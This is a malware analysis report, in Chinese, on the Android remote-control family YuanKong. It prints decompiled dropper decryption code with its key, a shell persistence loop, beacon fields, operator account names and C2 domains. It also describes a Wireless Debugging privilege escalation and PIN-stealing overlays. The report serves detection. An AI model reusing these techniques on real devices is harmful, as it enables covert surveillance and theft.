Dropper 架構與自我描述的 Vault
YuanKong 是一項 Android 遠端控制服務 ,其特色在於多租戶架構,以及刻意將操作員帳號識別碼嵌入為編譯時期字串常數。在 110 個 droppers 所傳遞的 57 個不同 child payload 中,全部共用同一個簽署憑證,但每個建置版本都攜帶獨特的操作者欄位(apkAccountId、apkAccountName、enrollment code)。這些識別碼會於每次 foreground-app beacon 中回報,使得從 binary 本身靜態擷取操作員名單成為可能。此報告檢視 dropper 解密機制、configuration 佈局、command-and-control 傳輸、螢幕與 Accessibility 收集機制,以及透過裝置自身 Wireless Debugging 服務進行的本機 privilege escalation。
Dropper 架構與自我描述的 Vault
外層 loader 是一個輕量級的 packer,其唯一目的是解密並安裝 child APK。解密所需的所有 cryptographic material 都以明文形式存在於 assets/vault-config.json 中。該 configuration 宣告了演算法標籤「SVLT-XOR-v2」、Base64 編碼的 key、十六進位的 IV、encrypted asset 的名稱,以及 plaintext ZIP 的预期 SHA-256。
- // assets/vault-config.json (verbatim from decompiled sample)
- {
- "vault_format_version": "2.0", // vault format identifier
- "encryption": {
- "algorithm": "SVLT-XOR-v2", // two-key XOR scheme, not authenticated encryption
- "key_b64": "llVA7rB25/MzrmZJD4A/P23Ef8Isoc2rRm5xIhbgo6I=", // 32-byte key, Base64
- "iv_hex": "b94b2608c3b296f521000550c1267bf9" // 16-byte IV, hexadecimal
- },
- "asset": {
- "name": "cx58vmnqxuh6059a", // encrypted blob filename in assets/
- "original_hash": "12480408006dece2fa756b3572766eecb6fb2144a1226f4e21c4cb7d54383105" // expected SHA-256 of plaintext
- },
- "payload": {
- "type": "apk", // payload type
- "path": "payload/child.apk", // entry path inside the decrypted ZIP
- "verify_signature": true, // signature check after extraction
- "install_after_decrypt": true // automatic installation flag
- }
- }
解密由 InstallHelper.svltDecrypt 執行。該 routine 首先驗證四 bytes magic 「SVLT」,然後讀取一 byte version 和一 byte IV length。後續的 IV byte 與 ciphertext 會針對重複的 key 和 IV streams 進行 XOR 運算:
- // InstallHelper.svltDecrypt (jadx decompilation)
- if (bArr[0] == 83 && bArr[1] == 86 && bArr[2] == 76 && bArr[3] == 84) { // magic 'S''V''L''T'
- int i2 = bArr[4] & 0xFF; // format version (must be 2)
- int i3 = bArr[5] & 0xFF; // IV length
- if (i2 != 2 || i3 <= 0 || bArr.length <= (i = i3 + 6)) {
- throw new Exception("Unsupported SVLT vault version");
- }
- byte[] bArr2 = new byte[i3];
- System.arraycopy(bArr, 6, bArr2, 0, i3); // extract IV
- bytes = Base64.decode(str, 0); // decode key from config
- int length = bArr.length - i;
- byte[] bArr3 = new byte[length];
- for (int i4 = 0; i4 < length; i4++) {
- bArr3[i4] = (byte) ((bArr[i + i4] ^ bytes[i4 % bytes.length]) // XOR with key
- ^ bArr2[i4 % i3]); // XOR with IV
- }
- return bArr3; // plaintext ZIP
- }
恢復的 ZIP 包含位於 payload/child.apk 的 child APK,隨後即進行安裝。此過程不需要 native code 或網路往返;vault 完全是自我描述的。
Child Payload、共用憑證與操作員身分
每個受檢的 child payload 均由相同的憑證簽署 (SHA-256 73cbe8e3730cacfdd208f22eab468bb5495a78c0eb2cb37eff5af0cafe321387) 。套件名稱和品牌字串會輪替變化,但簽署者保持不變,提供了強健的家族指標。Configuration 位於一個混淆過的類別中(主要樣本中的 k4.l3)。三個 static getter 將操作員身分揭露為 hard-coded 字串:
- // k4.l3 operator getters (jadx)
- public static String d() { return f5674g; } // enrollment code (apkAccountBindId)
- public static String e() { return f5.n.A0("account_mulcetn2_9d226b242cac").toString(); } // apkAccountId
- public static String f() { return f5.n.A0("lichunfeng7").toString(); } // apkAccountName
- public static void g() { f5.n.Z("apk_build"); } // apkOwnerSource tag
這些值從未從伺服器獲取;它們是編譯時期常數。因此,對任何單一樣本進行靜態分析即可得出委託建置該版本的操作員帳號。在整个樣本集中,此擷取方法復原了 42 個不同的操作員帳號。
Beaconing 與 Command-and-Control 傳輸
每當 foreground-application 變更時,服務 ConnectionService.reportForegroundPackage 會組裝一個 telemetry array,其中包含裝置識別碼和操作員欄位:
- // ConnectionService$reportForegroundPackage payload construction
- dVarArr[11] = new m4.d("apkAccountId", l3.e()); // account_mulcetn2_9d226b242cac
- dVarArr[12] = new m4.d("apkAccountBindId", l3.f5674g); // enrollment code
- dVarArr[13] = new m4.d("apkAccountName", l3.f()); // lichunfeng7
- dVarArr[14] = new m4.d("apkOwnerSource", "apk build");
傳輸方式為透過 WebSocket (okhttp) 的 Socket.IO。三個網域(apppanda.xyz、ktxapp.com、ktx123.net)加上一個 hard-coded IP 構成 host set。訊息為型別化的 JSON ControlMessage 物件;除了 TLS 之外,沒有應用層 encryption。
收集能力與本機 Privilege Escalation
YuanKong 並未請求 SMS、contacts、call-log、camera 或 microphone permissions。收集工作是透過 AccessibilityService(讀取 accessibility tree,包括 password fields)以及 MediaProjection 或由 ADB 驅動的 screenrecord 來執行。一個偽造的數字鍵盤覆蓋層透過將 touch coordinates 對應到數字來捕捉 payment PINs,同時僅顯示遮罩圓點。Touch events 也會被記錄為 TouchRecord objects,以便日後重建 lock-screen patterns。
Privilege escalation 是透過滥用裝置自身的 Wireless Debugging 服務來達成。Accessibility 用於啟用 adb_wifi_enabled,從系統對話框刮取六位數 pairing code 和 port,並與本地 adbd 在 127.0.0.1:5555 完成 SPAKE2 handshake。產生的 shell(uid 2000)隨後用於授予 WRITE_SECURE_SETTINGS 和其他 privileges,並安裝一個持續調整 oom_adj scores 的 persistent daemon:
- // IntegratedKeepAliveManager$createSystemDaemon (shell script installed via ADB)
- while true; do
- if ! pgrep -f "$PACKAGE"; then // detect if process is missing
- am startservice -n "$PACKAGE/.service.ConnectionService"; // restart ConnectionService
- fi
- for PID in $(pgrep -f "$PACKAGE"); do // for each matching PID
- echo -17 > /proc/$PID/oom_adj; // raise priority (legacy)
- echo -1000 > /proc/$PID/oom_score_adj; // raise priority (modern)
- done
- done
SPAKE2 實作(libspake2)在執行時期透過 HKDF 衍生出 ephemeral AES-128-GCM session key;binary 中不存在靜態 key material。
結論
YuanKong 展現了一種刻意設計的多租戶架構,其中單一 codebase 和憑證服務於眾多操作員,每個操作員皆由編譯進 DEX 的常數所識別。結合自我描述的 dropper、帶有操作員標記的 beacons、由 Accessibility 驅動的螢幕控制,以及自主的本機 ADB escalation ,產生了一個遠端控制平台,相對於其運作複雜度而言,其歸因表面異常龐大。因此,防禦性偵測可以聚焦於共用憑證、SVLT container format、libadb-android SPAKE2 routines 的存在,以及宣傳委託操作員的特徵性 beacon fields。